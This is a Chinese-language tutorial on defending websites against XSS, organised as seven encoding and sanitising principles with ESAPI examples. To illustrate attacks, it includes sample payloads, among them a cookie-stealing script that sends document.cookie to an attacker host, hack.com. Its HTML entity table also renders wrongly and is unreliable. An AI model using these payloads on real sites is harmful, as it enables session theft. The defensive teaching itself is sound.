WEB網站防禦XSS攻擊思路和XSS實踐
本文將會著重介紹防禦XSS攻擊的一些原則,需要讀者對於XSS有所瞭解,至少知道XSS漏洞的基本原理,如果您對此不是特別清楚,請參考這兩篇文章:《Stored and Reflected XSS Attack》《DOM Based XSS》
攻擊者可以利用XSS漏洞向用戶傳送攻擊指令碼,而使用者的瀏覽器因為沒有辦法知道這段指令碼是不可信的,所以依然會執行它。對於瀏覽器而言,它認為這段指令碼是來自可以信任的伺服器的,所以指令碼可以光明正大地訪問Cookie,或者儲存在瀏覽器裡被當前網站所用的敏感資訊,甚至可以知道使用者電腦安裝了哪些軟體。這些指令碼還可以改寫HTML頁面,進行釣魚攻擊。
雖然產生XSS漏洞的原因各種各樣,對於漏洞的利用也是花樣百出,但是如果我們遵循本文提到防禦原則,我們依然可以做到防止XSS攻擊的發生。
有人可能會問,防禦XSS的核心不就是在輸出不可信資料的時候進行編碼,而現如今流行的Web框架(比如Rails)大多都在預設情況下就對不可信資料進行了HTML編碼,幫我們做了防禦,還用得著我們自己再花時間研究如何防禦XSS嗎?答案是肯定的,對於將要放置到HTML頁面body裡的不可信資料,進行HTML編碼已經足夠防禦XSS攻擊了,甚至將HTML編碼後的資料放到HTML標籤(TAG)的屬性(attribute)裡也不會產生XSS漏洞(但前提是這些屬性都正確使用了引號),但是,如果你將HTML編碼後的資料放到了<SCRIPT>標籤裡的任何地方,甚至是HTML標籤的事件處理屬性裡(如onmouseover),又或者是放到了CSS、URL裡,XSS攻擊依然會發生,在這種情況下,HTML編碼不起作用了。所以就算你到處使用了HTML編碼,XSS漏洞依然可能存在。下面這幾條規則就將告訴你,如何在正確的地方使用正確的編碼
原則1:不要在頁面中插入任何不可信資料,除非這些數已經據根據下面幾個原則進行了編碼
第一條原則其實是“Secure By Default”原則:不要往HTML頁面中插入任何不可信資料,除非這些資料已經根據下面幾條原則進行了編碼。
之所以有這樣一條原則存在,是因為HTML裡有太多的地方容易形成XSS漏洞,而且形成漏洞的原因又有差別,比如有些漏洞發生在HTML標籤裡,有些發生在HTML標籤的屬性裡,還有的發生在頁面的<Script>裡,甚至有些還出現在CSS裡,再加上不同的瀏覽器對頁面的解析或多或少有些不同,使得有些漏洞只在特定瀏覽器裡才會產生。如果想要通過XSS過濾器(XSS Filter)對不可信資料進行轉義或替換,那麼XSS過濾器的過濾規則將會變得異常複雜,難以維護而且會有被繞過的風險。
所以實在想不出有什麼理由要直接往HTML頁面裡插入不可信資料,就算是有XSS過濾器幫你做過濾,產生XSS漏洞的風險還是很高
123456789101112131415 | <script>…不要在這裡直接插入不可信資料…</script>直接插入到SCRIPT標籤裡 <!– …不要在這裡直接插入不可信資料… –> 插入到HTML註釋裡 <div 不要在這裡直接插入不可信資料=”…”></div> 插入到HTML標籤的屬性名裡 <div name=”…不要在這裡直接插入不可信資料…”></div> 插入到HTML標籤的屬性值裡 <不要在這裡直接插入不可信資料 href=”…”></a> 作為HTML標籤的名字 <style>…不要在這裡直接插入不可信資料…</style> 直接插入到CSS裡 |
最重要的是,千萬不要引入任何不可信的第三方JavaScript到頁面裡,一旦引入了,這些指令碼就能夠操縱你的HTML頁面,竊取敏感資訊或者發起釣魚攻擊等等。
原則2:在將不可信資料插入到HTML標籤之間時,對這些資料進行HTML Entity編碼
在這裡相當強調是往HTML標籤之間插入不可信資料,以區別於往HTML標籤屬性部分插入不可信資料,因為這兩者需要進行不同型別的編碼。當你確實需要往HTML標籤之間插入不可信資料的時候,首先要做的就是對不可信資料進行HTML Entity編碼。比如,我們經常需要往DIV,P,TD這些標籤裡放入一些使用者提交的資料,這些資料是不可信的,需要對它們進行HTML Entity編碼。很多Web框架都提供了HTML Entity編碼的函式,我們只需要呼叫這些函式就好,而有些Web框架似乎更“智慧”,比如Rails,它能在預設情況下對所有插入到HTML頁面的資料進行HTML Entity編碼,儘管不能完全防禦XSS,但著實減輕了開發人員的負擔。
12 | <body>…插入不可信資料前,對其進行HTML Entity編碼…</body><div>…插入不可信資料前,對其進行HTML Entity編碼…</div><p>…插入不可信資料前,對其進行HTML Entity編碼…</p> 以此類推,往其他HTML標籤之間插入不可信資料前,對其進行HTML Entity編碼 |
[編碼規則]
那麼HTML Entity編碼具體應該做哪些事情呢?它需要對下面這6個特殊字元進行編碼:
123456 | & –> & < –> < > –> > ” –> " ‘ –> ' / –> / |
有兩點需要特別說明的是:
- 不推薦將單引號( ‘ )編碼為 ' 因為它並不是標準的HTML標籤
- 需要對斜槓號( / )編碼,因為在進行XSS攻擊時,斜槓號對於關閉當前HTML標籤非常有用
推薦使用OWASP提供的ESAPI函式庫,它提供了一系列非常嚴格的用於進行各種安全編碼的函式。在當前這個例子裡,你可以使用:
1 | String encodedContent = ESAPI.encoder().encodeForHTML(request.getParameter(“input”)); |
原則3:在將不可信資料插入到HTML屬性裡時,對這些資料進行HTML屬性編碼
這條原則是指,當你要往HTML屬性(例如width、name、value屬性)的值部分(data value)插入不可信資料的時候,應該對資料進行HTML屬性編碼。不過需要注意的是,當要往HTML標籤的事件處理屬性(例如onmouseover)裡插入資料的時候,本條原則不適用,應該用下面介紹的原則4對其進行JavaScript編碼。
12345 | <div attr=…插入不可信資料前,進行HTML屬性編碼…></div>屬性值部分沒有使用引號,不推薦 <div attr=’…插入不可信資料前,進行HTML屬性編碼…’></div> 屬性值部分使用了單引號 <div attr=”…插入不可信資料前,進行HTML屬性編碼…”></div> 屬性值部分使用了雙引號 |
[編碼規則]
除了阿拉伯數字和字母,對其他所有的字元進行編碼,只要該字元的ASCII碼小於256。編碼後輸出的格式為 &#xHH; (以&#x開頭,HH則是指該字元對應的十六進位制數字,分號作為結束符)
之所以編碼規則如此嚴格,是因為開發者有時會忘記給屬性的值部分加上引號。如果屬性值部分沒有使用引號的話,攻擊者很容易就能閉合掉當前屬性,隨後即可插入攻擊指令碼。例如,如果屬性沒有使用引號,又沒有對資料進行嚴格編碼,那麼一個空格符就可以閉合掉當前屬性。請看下面這個攻擊:
假設HTML程式碼是這樣的:
1 | < div width=$INPUT> …content… </ div > |
攻擊者可以構造這樣的輸入:
1 | x onmouseover=”javascript:alert(/xss/)” |
最後,在使用者的瀏覽器裡的最終HTML程式碼會變成這個樣子:
1 | <div width=x onmouseover=”javascript:alert(/xss/)”> …content… </div> |
只要使用者的滑鼠移動到這個DIV上,就會觸發攻擊者寫好的攻擊指令碼。在這個例子裡,指令碼僅僅彈出一個警告框,除了惡作劇一下也沒有太多的危害,但是在真實的攻擊中,攻擊者會使用更加具有破壞力的指令碼,例如下面這個竊取使用者cookie的XSS攻擊:
1 | x /> <script>var img = document.createElement(“img”);img.src = ”http://hack.com/xss.js?” + escape(document.cookie);document.body.appendChild(img);</script> <div |
除了空格符可以閉合當前屬性外,這些符號也可以:
1 | % * + , – / ; < = > ^ | `(反單引號,IE會認為它是單引號) |
可以使用ESAPI提供的函式進行HTML屬性編碼:
1 | String encodedContent = ESAPI.encoder().encodeForHTMLAttribute(request.getParameter(“input”)); |
原則4:在將不可信資料插入到SCRIPT裡時,對這些資料進行SCRIPT編碼
這條原則主要針對動態生成的JavaScript程式碼,這包括指令碼部分以及HTML標籤的事件處理屬性(Event Handler,如onmouseover, onload等)。在往JavaScript程式碼裡插入資料的時候,只有一種情況是安全的,那就是對不可信資料進行JavaScript編碼,並且只把這些資料放到使用引號包圍起來的值部分(data value)之中,例如:
123 | <script> var message = “<%= encodeJavaScript(@INPUT) %>”; </script> |
除此之外,往JavaScript程式碼裡其他任何地方插入不可信資料都是相當危險的,攻擊者可以很容易地插入攻擊程式碼。
123456789 | <script>alert(‘…插入不可信資料前,進行JavaScript編碼…’)</script>值部分使用了單引號 <script>x = “…插入不可信資料前,進行JavaScript編碼…”</script> 值部分使用了雙引號 <div onmouseover=”x=’…插入不可信資料前,進行JavaScript編碼…’ “</div> 值部分使用了引號,且事件處理屬性的值部分也使用了引號 特別需要注意的是,在XSS防禦中,有些JavaScript函式是極度危險的,就算對不可信資料進行JavaScript編碼,也依然會產生XSS漏洞,例如: <script> window.setInterval(‘…就算對不可信資料進行了JavaScript編碼,這裡依然會有XSS漏洞…’); </script> |
[編碼規則]
除了阿拉伯數字和字母,對其他所有的字元進行編碼,只要該字元的ASCII碼小於256。編碼後輸出的格式為 \xHH (以 \x 開頭,HH則是指該字元對應的十六進位制數字)
在對不可信資料做編碼的時候,千萬不能圖方便使用反斜槓( \ )對特殊字元進行簡單轉義,比如將雙引號 ” 轉義成 \” ,這樣做是不可靠的,因為瀏覽器在對頁面做解析的時候,會先進行HTML解析,然後才是JavaScript解析,所以雙引號很可能會被當做HTML字元進行HTML解析,這時雙引號就可以突破程式碼的值部分,使得攻擊者可以繼續進行XSS攻擊。例如:
假設程式碼片段如下:
123 | <script> var message = ” $VAR “; </script> |
攻擊者輸入的內容為:
\”; alert(‘xss’);//
如果只是對雙引號進行簡單轉義,將其替換成 \” 的話,攻擊者輸入的內容在最終的頁面上會變成:
123 | <script> var message = ” \\”; alert(‘xss’);// “; </script> |
瀏覽器在解析的時候,會認為反斜槓後面的那個雙引號和第一個雙引號相匹配,繼而認為後續的alert(‘xss’)是正常的JavaScript指令碼,因此允許執行。
可以使用ESAPI提供的函式進行JavaScript編碼:
1 | String encodedContent = ESAPI.encoder().encodeForJavaScript(request.getParameter(“input”)); |
原則5:在將不可信資料插入到Style屬性裡時,對這些資料進行CSS編碼
當需要往Stylesheet,Style標籤或者Style屬性裡插入不可信資料的時候,需要對這些資料進行CSS編碼。傳統印象裡CSS不過是負責頁面樣式的,但是實際上它比我們想象的要強大許多,而且還可以用來進行各種攻擊。因此,不要對CSS裡存放不可信資料掉以輕心,應該只允許把不可信資料放入到CSS屬性的值部分,並進行適當的編碼。除此以外,最好不要把不可信資料放到一些複雜屬性裡,比如url, behavior等,只能被IE認識的Expression屬性允許執行JavaScript指令碼,因此也不推薦把不可信資料放到這裡。
12 | <style>selector { property : …插入不可信資料前,進行CSS編碼…} </style><style>selector { property : ” …插入不可信資料前,進行CSS編碼… “} </style> <span style=” property : …插入不可信資料前,進行CSS編碼… ”> … </span> |
[編碼規則]
除了阿拉伯數字和字母,對其他所有的字元進行編碼,只要該字元的ASCII碼小於256。編碼後輸出的格式為 \HH (以 \ 開頭,HH則是指該字元對應的十六進位制數字)
同原則2,原則3,在對不可信資料進行編碼的時候,切忌投機取巧對雙引號等特殊字元進行簡單轉義,攻擊者可以想辦法繞開這類限制。
可以使用ESAPI提供的函式進行CSS編碼:
1 | String encodedContent = ESAPI.encoder().encodeForCSS(request.getParameter(“input”)); |
原則6:在將不可信資料插入到HTML URL裡時,對這些資料進行URL編碼
當需要往HTML頁面中的URL裡插入不可信資料的時候,需要對其進行URL編碼,如下:
1 | <a href=”http://www.abcd.com?param=…插入不可信資料前,進行URL編碼…”> Link Content </a> |
[編碼規則]
除了阿拉伯數字和字母,對其他所有的字元進行編碼,只要該字元的ASCII碼小於256。編碼後輸出的格式為 %HH (以 % 開頭,HH則是指該字元對應的十六進位制數字)
在對URL進行編碼的時候,有兩點是需要特別注意的:
1) URL屬性應該使用引號將值部分包圍起來,否則攻擊者可以很容易突破當前屬性區域,插入後續攻擊程式碼
2) 不要對整個URL進行編碼,因為不可信資料可能會被插入到href, src或者其他以URL為基礎的屬性裡,這時需要對資料的起始部分的協議欄位進行驗證,否則攻擊者可以改變URL的協議,例如從HTTP協議改為DATA偽協議,或者javascript偽協議。
可以使用ESAPI提供的函式進行URL編碼:
1 | String encodedContent = ESAPI.encoder().encodeForURL(request.getParameter(“input”)); |
ESAPI還提供了一些用於檢測不可信資料的函式,在這裡我們可以使用其來檢測不可信資料是否真的是一個URL:
1234 | String userProvidedURL = request.getParameter(“userProvidedURL”);boolean isValidURL = ESAPI.validator().isValidInput(“URLContext”, userProvidedURL, “URL”, 255, false); if (isValidURL) { <a href=”<%= encoder.encodeForHTMLAttribute(userProvidedURL) %>”></a> } |
原則7:使用富文字時,使用XSS規則引擎進行編碼過濾
Web應用一般都會提供使用者輸入富文字資訊的功能,比如BBS發帖,寫部落格文章等,使用者提交的富文字資訊裡往往包含了HTML標籤,甚至是JavaScript指令碼,如果不對其進行適當的編碼過濾的話,則會形成XSS漏洞。但我們又不能因為害怕產生XSS漏洞,所以就不允許使用者輸入富文字,這樣對使用者體驗傷害很大。
針對富文字的特殊性,我們可以使用XSS規則引擎對使用者輸入進行編碼過濾,只允許使用者輸入安全的HTML標籤,如<b>, <i>, <p>等,對其他資料進行HTML編碼。需要注意的是,經過規則引擎編碼過濾後的內容只能放在<div>, <p>等安全的HTML標籤裡,不要放到HTML標籤的屬性值裡,更不要放到HTML事件處理屬性裡,或者放到<SCRIPT>標籤裡。
推薦XSS規則過濾引擎:OWASP AntiSamp或者Java HTML Sanitizer
總結
由於很多地方都可能產生XSS漏洞,而且每個地方產生漏洞的原因又各有不同,所以對於XSS的防禦來說,我們需要在正確的地方做正確的事情,即根據不可信資料將要被放置到的地方進行相應的編碼,比如放到<div>標籤之間的時候,需要進行HTML編碼,放到<div>標籤屬性裡的時候,需要進行HTML屬性編碼,等等。
XSS攻擊是在不斷髮展的,上面介紹的幾條原則幾乎涵蓋了Web應用裡所有可能出現XSS的地方,但是我們仍然不能掉以輕心,為了讓Web應用更加安全,我們還可以結合其他防禦手段來加強XSS防禦的效果,或者減輕損失:
對使用者輸入進行資料合法性驗證,例如輸入email的文字框只允許輸入格式正確的email,輸入手機號碼的文字框只允許填入數字且格式需要正確。這類合法性驗證至少需要在伺服器端進行以防止瀏覽器端驗證被繞過,而為了提高使用者體驗和減輕伺服器壓力,最好也在瀏覽器端進行同樣的驗證。
為Cookie加上HttpOnly標記。許多XSS攻擊的目標就是竊取使用者Cookie,這些Cookie裡往往包含了使用者身份認證資訊(比如SessionId),一旦被盜,黑客就可以冒充使用者身份盜取使用者賬號。竊取Cookie一般都會依賴JavaScript讀取Cookie資訊,而HttpOnly標記則會告訴瀏覽器,被標記上的Cookie是不允許任何指令碼讀取或修改的,這樣即使Web應用產生了XSS漏洞,Cookie資訊也能得到較好的保護,達到減輕損失的目的。
Web應用變得越來越複雜,也越來越容易產生各種漏洞而不僅限於XSS漏洞,沒有銀彈可以一次性解決所有安全問題,我們只能處處留意,針對不同的安全漏洞進行鍼對性的防禦。
希望本文介紹的幾條原則能幫助你成功防禦XSS攻擊,如果你對於XSS攻擊或防禦有任何的見解或疑問的話,歡迎留言討論,謝謝。